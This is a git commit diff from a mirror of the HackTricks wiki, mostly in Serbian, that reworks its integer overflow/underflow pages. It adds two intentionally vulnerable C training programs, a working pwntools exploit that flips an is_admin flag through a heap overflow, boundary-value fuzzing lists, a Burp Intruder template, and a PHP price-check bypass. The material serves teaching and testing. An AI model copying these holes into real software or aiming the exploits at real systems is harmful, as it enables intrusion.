mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo
This commit is contained in:
parent
499b9db9de
commit
c130b1ce13
@ -785,7 +785,7 @@
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
|
||||
- [Format Strings](binary-exploitation/format-strings/README.md)
|
||||
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
|
||||
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)
|
||||
|
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
368
src/binary-exploitation/integer-overflow-and-underflow.md
Normal file
@ -0,0 +1,368 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
U srcu **integer overflow** leži ograničenje nametnuto **veličinom** tipova podataka u računarskom programiranju i **interpretacijom** podataka.
|
||||
|
||||
Na primer, **8-bitni unsigned integer** može predstavljati vrednosti od **0 do 255**. Ako pokušate da smestite vrednost 256 u 8-bitni unsigned integer, ona će se vratiti na 0 zbog ograničenja kapaciteta skladištenja. Slično, za **16-bitni unsigned integer**, koji može držati vrednosti od **0 do 65,535**, dodavanje 1 na 65,535 će vrednost vratiti na 0.
|
||||
|
||||
Pored toga, **8-bitni signed integer** može predstavljati vrednosti od **-128 do 127**. To je zato što je jedan bit iskorišćen za predstavljanje znaka (pozitivnog ili negativnog), ostavljajući 7 bitova za predstavljanje magnitude. Najnegativniji broj predstavlja se kao **-128** (binarno `10000000`), a najpozitivniji kao **127** (binarno `01111111`).
|
||||
|
||||
Maksimalne vrednosti za uobičajene tipove celih brojeva:
|
||||
| Tip | Veličina (bitovi) | Min vrednost | Max vrednost |
|
||||
|----------------|-------------|--------------------|--------------------|
|
||||
| int8_t | 8 | -128 | 127 |
|
||||
| uint8_t | 8 | 0 | 255 |
|
||||
| int16_t | 16 | -32,768 | 32,767 |
|
||||
| uint16_t | 16 | 0 | 65,535 |
|
||||
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
|
||||
| uint32_t | 32 | 0 | 4,294,967,295 |
|
||||
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
|
||||
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
|
||||
|
||||
short je ekvivalentan `int16_t`, int je ekvivalentan `int32_t`, a long je ekvivalentan `int64_t` na 64-bitnim sistemima.
|
||||
|
||||
### Maksimalne vrednosti
|
||||
|
||||
Za potencijalne **web vulnerabilities** veoma je korisno znati maksimalne podržane vrednosti:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Primeri
|
||||
|
||||
### Pure overflow
|
||||
|
||||
Štampani rezultat će biti 0 jer smo overflowed char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Pretvorba iz signed u unsigned
|
||||
|
||||
Zamislite situaciju u kojoj se signed integer pročita iz korisničkog ulaza i zatim koristi u kontekstu koji ga tretira kao unsigned integer, bez odgovarajuće validacije:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
U ovom primeru, ako korisnik unese negativan broj, on će biti interpretiran kao veliki bezpredznakni ceo broj zbog načina na koji se tumače binarne vrednosti, što može dovesti do neočekivanog ponašanja.
|
||||
|
||||
### macOS Overflow Example
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Realistic integer-overflow → undersized allocation → heap overflow → flag
|
||||
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // Target to flip from 0 → 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
|
||||
size_t got = 0;
|
||||
|
||||
printf("Requested bytes: %zu\n", want);
|
||||
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) {
|
||||
got += (size_t)n;
|
||||
continue;
|
||||
}
|
||||
if (n == 0) {
|
||||
// EOF – stop; partial reads are fine for our exploit
|
||||
break;
|
||||
}
|
||||
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Bundle Importer (training) ===");
|
||||
|
||||
// 1) Read attacker-controlled parameters (use large values)
|
||||
size_t count = 0, elem_size = 0;
|
||||
printf("Entry count: ");
|
||||
if (scanf("%zu", &count) != 1) return 1;
|
||||
printf("Entry size: ");
|
||||
if (scanf("%zu", &elem_size) != 1) return 1;
|
||||
|
||||
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
|
||||
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
|
||||
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
|
||||
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
|
||||
Then, product32 = 0
|
||||
*/
|
||||
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
|
||||
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
|
||||
|
||||
// 3) Allocate a single arena and lay out [buffer][slack][session]
|
||||
// This makes adjacency deterministic (no reliance on system malloc order).
|
||||
const size_t SLACK = 512;
|
||||
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena; // In this buffer the attacker will copy data
|
||||
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, alloc32, (void*)sess,
|
||||
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
|
||||
|
||||
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
|
||||
size_t to_copy = count * elem_size; // <-- Large size_t
|
||||
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
|
||||
|
||||
puts(">> Send bundle payload on stdin (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
// 5) Privileged action gated by a field next to the overflow target
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompajliraj ga sa:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_ovf_heap_priv int_ovf_heap_priv.c
|
||||
```
|
||||
#### Exploit
|
||||
```python
|
||||
# exploit.py
|
||||
from pwn import *
|
||||
|
||||
# Keep logs readable; switch to "debug" if you want full I/O traces
|
||||
context.log_level = "info"
|
||||
|
||||
EXE = "./int_ovf_heap_priv"
|
||||
|
||||
def main():
|
||||
# IMPORTANT: use plain pipes, not PTY
|
||||
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
|
||||
|
||||
# 1) Drive the prompts
|
||||
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
|
||||
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
|
||||
|
||||
# 2) Wait until it’s actually reading the payload
|
||||
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
|
||||
|
||||
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
|
||||
payload = b"A" * 48 + p32(1)
|
||||
|
||||
# 4) Send payload, THEN send EOF via half-close on the pipe
|
||||
io.send(payload)
|
||||
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
|
||||
|
||||
# 5) Read the rest (should print admin + FLAG)
|
||||
print(io.recvall(timeout=5).decode(errors="ignore"))
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
### macOS Underflow Primer
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/*
|
||||
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
|
||||
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
|
||||
*/
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
|
||||
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
struct session {
|
||||
int is_admin; // flip 0 -> 1
|
||||
char note[64];
|
||||
};
|
||||
|
||||
static size_t read_stdin(void *dst, size_t want) {
|
||||
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
|
||||
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
|
||||
size_t got = 0;
|
||||
printf("[dbg] Requested bytes: %zu\n", want);
|
||||
while (got < want) {
|
||||
size_t remain = want - got;
|
||||
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
|
||||
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
|
||||
if (n > 0) { got += (size_t)n; continue; }
|
||||
if (n == 0) break; // EOF: partial read is fine
|
||||
perror("read"); break;
|
||||
}
|
||||
return got;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
puts("=== Packet Importer (UNDERFLOW training) ===");
|
||||
|
||||
size_t total_len = 0;
|
||||
printf("Total packet length: ");
|
||||
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
|
||||
|
||||
const size_t HEADER = 16;
|
||||
|
||||
// **BUG**: size_t underflow if total_len < HEADER
|
||||
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
|
||||
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
|
||||
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
|
||||
total_len, HEADER, payload_len);
|
||||
|
||||
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
|
||||
const size_t SLACK = 256;
|
||||
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
|
||||
unsigned char *arena = (unsigned char*)malloc(arena_sz);
|
||||
if (!arena) { perror("malloc"); return 1; }
|
||||
memset(arena, 0, arena_sz);
|
||||
|
||||
unsigned char *buf = arena;
|
||||
struct session *sess = (struct session*)(arena + total_len + 16);
|
||||
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
|
||||
sess->is_admin = 0;
|
||||
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
|
||||
|
||||
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
|
||||
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
|
||||
|
||||
puts(">> Send payload bytes (EOF to finish)...");
|
||||
size_t got = read_stdin(buf, payload_len);
|
||||
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
|
||||
printf("[dbg] actually read = %zu bytes\n", got);
|
||||
|
||||
if (sess->is_admin) {
|
||||
puts("[dbg] admin privileges detected");
|
||||
win();
|
||||
} else {
|
||||
puts("[dbg] normal user");
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompajliraj ga sa:
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
|
||||
-o int_underflow_heap int_underflow_heap.c
|
||||
```
|
||||
### Ostali primeri
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Samo 1B se koristi za čuvanje veličine password-a pa je moguće overflow-ovati ga i naterati ga da misli da je dužina 4 dok je zapravo 260, kako bi se bypass-ovala zaštita provere dužine
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Dat je par brojeva — pomoću z3 pronađite novi broj koji, pomnožen sa prvim, daje drugi:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Samo 1B se koristi za čuvanje veličine password-a pa je moguće overflow-ovati ga i naterati ga da misli da je dužina 4 dok je zapravo 260, da bi se bypass-ovalo proveravanje dužine i prepisalo u stack sledeću lokalnu promenljivu i bypass-ovale obe zaštite
|
||||
|
||||
## ARM64
|
||||
|
||||
Ovo **se ne menja u ARM64** kao što možete videti u [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,115 +0,0 @@
|
||||
# Integer Overflow
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
U srcu **integer overflow** je ograničenje koje nameće **veličina** tipova podataka u računarstvu i **tumačenje** podataka.
|
||||
|
||||
Na primer, **8-bitni bez znak** može predstavljati vrednosti od **0 do 255**. Ako pokušate da sačuvate vrednost 256 u 8-bitnom bez znaka, ona se vraća na 0 zbog ograničenja svoje kapaciteta skladištenja. Slično tome, za **16-bitni bez znak**, koji može da drži vrednosti od **0 do 65,535**, dodavanje 1 na 65,535 će vratiti vrednost nazad na 0.
|
||||
|
||||
Štaviše, **8-bitni sa znakom** može predstavljati vrednosti od **-128 do 127**. To je zato što se jedan bit koristi za predstavljanje znaka (pozitivan ili negativan), ostavljajući 7 bita za predstavljanje magnitude. Najnegativniji broj se predstavlja kao **-128** (binarno `10000000`), a najpozitivniji broj je **127** (binarno `01111111`).
|
||||
|
||||
### Maksimalne vrednosti
|
||||
|
||||
Za potencijalne **web ranjivosti** veoma je zanimljivo znati maksimalne podržane vrednosti:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Rust"}}
|
||||
```rust
|
||||
fn main() {
|
||||
|
||||
let mut quantity = 2147483647;
|
||||
|
||||
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
|
||||
let (add_result, _) = i32::overflowing_add(1, quantity);
|
||||
|
||||
println!("{}", mul_result);
|
||||
println!("{}", add_result);
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="C"}}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
||||
int main() {
|
||||
int a = INT_MAX;
|
||||
int b = 0;
|
||||
int c = 0;
|
||||
|
||||
b = a * 100;
|
||||
c = a + 1;
|
||||
|
||||
printf("%d\n", INT_MAX);
|
||||
printf("%d\n", b);
|
||||
printf("%d\n", c);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Primeri
|
||||
|
||||
### Čista preliv
|
||||
|
||||
Ispisani rezultat će biti 0 jer smo preli u char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned char max = 255; // 8-bit unsigned integer
|
||||
unsigned char result = max + 1;
|
||||
printf("Result: %d\n", result); // Expected to overflow
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Signed to Unsigned Conversion
|
||||
|
||||
Razmotrite situaciju u kojoj se potpisani ceo broj čita iz korisničkog unosa i zatim se koristi u kontekstu koji ga tretira kao nepotpisani ceo broj, bez odgovarajuće validacije:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int userInput; // Signed integer
|
||||
printf("Enter a number: ");
|
||||
scanf("%d", &userInput);
|
||||
|
||||
// Treating the signed input as unsigned without validation
|
||||
unsigned int processedInput = (unsigned int)userInput;
|
||||
|
||||
// A condition that might not work as intended if userInput is negative
|
||||
if (processedInput > 1000) {
|
||||
printf("Processed Input is large: %u\n", processedInput);
|
||||
} else {
|
||||
printf("Processed Input is within range: %u\n", processedInput);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
U ovom primeru, ako korisnik unese negativan broj, biće interpretiran kao veliki nesigned integer zbog načina na koji se binarne vrednosti interpretiraju, što može dovesti do neočekivanog ponašanja.
|
||||
|
||||
### Ostali primeri
|
||||
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
|
||||
- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine.
|
||||
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
|
||||
|
||||
- Dati nekoliko brojeva, pronaći koristeći z3 novi broj koji pomnožen sa prvim daje drugi:
|
||||
|
||||
```
|
||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||
```
|
||||
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||
- Samo 1B se koristi za čuvanje veličine lozinke, tako da je moguće prepuniti je i naterati je da misli da je dužina 4, dok je zapravo 260, kako bi se zaobišla zaštita provere dužine i prepisala sledeća lokalna promenljiva na steku, čime se zaobilaze obe zaštite.
|
||||
|
||||
## ARM64
|
||||
|
||||
Ovo **se ne menja u ARM64** kao što možete videti u [**ovom blog postu**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -2,45 +2,44 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Ova stranica se fokusira na to kako **integer overflow/kratki rezovi mogu biti zloupotrebljeni u web aplikacijama i pretraživačima**. Za tehnike eksploatacije unutar nativnih binarnih datoteka možete nastaviti sa čitanjem posvećene stranice:
|
||||
> Ova stranica se fokusira na to kako **integer overflows/truncations can be abused in web applications and browsers**. Za exploitation primitives inside native binaries možete nastaviti čitanje posvećene stranice:
|
||||
>
|
||||
>
|
||||
{{#ref}}
|
||||
> ../../binary-exploitation/integer-overflow-and-underflow.md
|
||||
>
|
||||
{{#endref}}
|
||||
> {{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## 1. Zašto integer matematika i dalje ima značaj na webu
|
||||
## 1. Why integer math still matters on the web
|
||||
|
||||
Iako je većina poslovne logike u modernim stakovima napisana u *sigurnim* jezicima, osnovni runtime (ili biblioteke trećih strana) je na kraju implementiran u C/C++. Kada se brojevi koje kontroliše korisnik koriste za alokaciju bafera, izračunavanje ofseta ili izvođenje provere dužine, **32-bitno ili 64-bitno preklapanje može pretvoriti naizgled bezopasan parametar u čitanje/pisanje van granica, zaobilaženje logike ili DoS**.
|
||||
Iako je većina business-logic u modernim stack-ovima napisana u *memory-safe* jezicima, underlying runtime (ili third-party libraries) je na kraju implementiran u C/C++. Kad god se korisnički kontrolisani brojevi koriste za alokaciju buffera, računanje ofseta ili proveru dužine, **a 32-bit or 64-bit wrap-around may transform an apparently harmless parameter into an out-of-bounds read/write, a logic bypass or a DoS**.
|
||||
|
||||
Tipična površina napada:
|
||||
|
||||
1. **Numerički parametri zahteva** – klasična id, ofset ili polja broja.
|
||||
2. **Dužina / veličina zaglavlja** – Content-Length, dužina WebSocket okvira, HTTP/2 continuation_len, itd.
|
||||
3. **Metapodaci formata datoteka obrađeni na serverskoj ili klijentskoj strani** – dimenzije slika, veličine delova, tabele fontova.
|
||||
4. **Konverzije na nivou jezika** – signed↔unsigned castovi u PHP/Go/Rust FFI, JS Number → int32 skraćivanja unutar V8.
|
||||
5. **Autentifikacija i poslovna logika** – vrednost kupona, cena ili proračuni stanja koji tiho prelivaju.
|
||||
1. **Numeric request parameters** – klasična id, offset ili count polja.
|
||||
2. **Length / size headers** – Content-Length, WebSocket frame length, HTTP/2 continuation_len, itd.
|
||||
3. **File-format metadata parsed server-side or client-side** – dimenzije slike, chunk sizes, font tables.
|
||||
4. **Language-level conversions** – signed↔unsigned casts u PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
|
||||
5. **Authentication & business logic** – vrednost kupona, cena ili proračuni stanja koji se tiho overflow-uju.
|
||||
|
||||
---
|
||||
|
||||
## 2. Nedavne ranjivosti iz stvarnog sveta (2023-2025)
|
||||
## 2. Recent real-world vulnerabilities (2023-2025)
|
||||
|
||||
| Godina | Komponenta | Osnovni uzrok | Uticaj |
|
||||
|--------|------------|---------------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bitno preklapanje množenja prilikom izračunavanja veličine dekodiranog piksela | Pokrenuo Chrome 0-day (BLASTPASS na iOS-u), omogućio *daljinsko izvršavanje koda* unutar sandbox-a renderera. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Skraćivanje na 32-bitno prilikom povećanja JSArray dovodi do OOB pisanja na pozadinskom skladištu | Daljinsko izvršavanje koda nakon jedne posete. |
|
||||
| 2025 | **Apollo GraphQL Server** (neobjavljeni zakrpa) | 32-bitni potpisani ceo broj korišćen za argumente paginacije prvi/poslednji; negativne vrednosti se preklapaju u ogromne pozitivne | Zaobilaženje logike i iscrpljivanje memorije (DoS). |
|
||||
| Year | Component | Root cause | Impact |
|
||||
|------|-----------|-----------|--------|
|
||||
| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. |
|
||||
| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
|
||||
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
|
||||
|
||||
---
|
||||
|
||||
## 3. Strategija testiranja
|
||||
## 3. Testing strategy
|
||||
|
||||
### 3.1 Cheat-sheet za granicne vrednosti
|
||||
### 3.1 Boundary-value cheat-sheet
|
||||
|
||||
Pošaljite **ekstreme potpisane/bez potpisane vrednosti** gde god se očekuje ceo broj:
|
||||
Pošaljite **extreme signed/unsigned values** gde god se očekuje integer:
|
||||
```
|
||||
-1, 0, 1,
|
||||
127, 128, 255, 256,
|
||||
@ -49,9 +48,9 @@ Pošaljite **ekstreme potpisane/bez potpisane vrednosti** gde god se očekuje ce
|
||||
9223372036854775807, 9223372036854775808,
|
||||
0x7fffffff, 0x80000000, 0xffffffff
|
||||
```
|
||||
Drugi korisni formati:
|
||||
* Hex (0x100), oktalni (0377), naučni (1e10), JSON big-int (9999999999999999999).
|
||||
* Veoma dugi nizovi cifara (>1kB) za testiranje prilagođenih parsera.
|
||||
Ostali korisni formati:
|
||||
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
|
||||
* Veoma dugački nizovi cifara (>1kB) da bi pogodili prilagođene parsere.
|
||||
|
||||
### 3.2 Burp Intruder šablon
|
||||
```
|
||||
@ -60,17 +59,17 @@ Payload type: Numbers
|
||||
From: -10 To: 4294967300 Step: 1
|
||||
Pad to length: 10, Enable hex prefix 0x
|
||||
```
|
||||
### 3.3 Fuzzing biblioteke i runtime-ovi
|
||||
### 3.3 Biblioteke i runtime-ovi za fuzzing
|
||||
|
||||
* **AFL++/Honggfuzz** sa libFuzzer okvirom oko parsera (npr., WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – fuzzing koji je svestan gramatike JavaScript engine-a kako bi pogodio V8/JSC integer truncations.
|
||||
* **boofuzz** – fuzzing mrežnih protokola (WebSocket, HTTP/2) fokusirajući se na dužinske polja.
|
||||
* **AFL++/Honggfuzz** sa libFuzzer harness-om oko parsera (npr. WebP, PNG, protobuf).
|
||||
* **Fuzzilli** – grammar-aware fuzzing JavaScript engine-a da bi pogodio V8/JSC truncacije celobrojnih vrednosti.
|
||||
* **boofuzz** – fuzzing mrežnih protokola (WebSocket, HTTP/2) fokusiran na polja dužine.
|
||||
|
||||
---
|
||||
|
||||
## 4. Obrasci eksploatacije
|
||||
|
||||
### 4.1 Zaobilaženje logike u kodu sa servera (PHP primer)
|
||||
### 4.1 Logic bypass in server-side code (PHP primer)
|
||||
```php
|
||||
$price = (int)$_POST['price']; // expecting cents (0-10000)
|
||||
$total = $price * 100; // ← 32-bit overflow possible
|
||||
@ -79,28 +78,30 @@ die('Too expensive');
|
||||
}
|
||||
/* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */
|
||||
```
|
||||
### 4.2 Prelivanje u heap-u putem dekodera slika (libwebp 0-day)
|
||||
WebP bezgubitni dekoder pomnožio je širinu slike × visinu × 4 (RGBA) unutar 32-bitnog int-a. Kreirani fajl sa dimenzijama 16384 × 16384 prelazi granicu množenja, alocira kratak bafer i potom piše **~1GB** dekompresovanih podataka izvan heap-a – što dovodi do RCE u svakom Chromium-baziranom pretraživaču pre 116.0.5845.187.
|
||||
### 4.2 Heap overflow via image decoder (libwebp 0-day)
|
||||
WebP lossless decoder je pomnožio image width × height × 4 (RGBA) unutar 32-bit int-a. Specijalno konstruisan fajl sa dimenzijama 16384 × 16384 izaziva overflow pri množenju, alocira premali buffer i potom upisuje **~1GB** dekompresovanih podataka izvan heap-a – što dovodi do RCE u svim Chromium-based browserima pre 116.0.5845.187.
|
||||
|
||||
### 4.3 XSS/RCE lanac zasnovan na pretraživaču
|
||||
1. **Prelivanje celog broja** u V8 omogućava proizvoljno čitanje/pisanje.
|
||||
2. Izbegnite sandbox sa drugom greškom ili pozovite nativne API-je da ispustite payload.
|
||||
3. Payload zatim injektuje zlonamerni skript u kontekst porekla → pohranjeni XSS.
|
||||
### 4.3 Browser-based XSS/RCE chain
|
||||
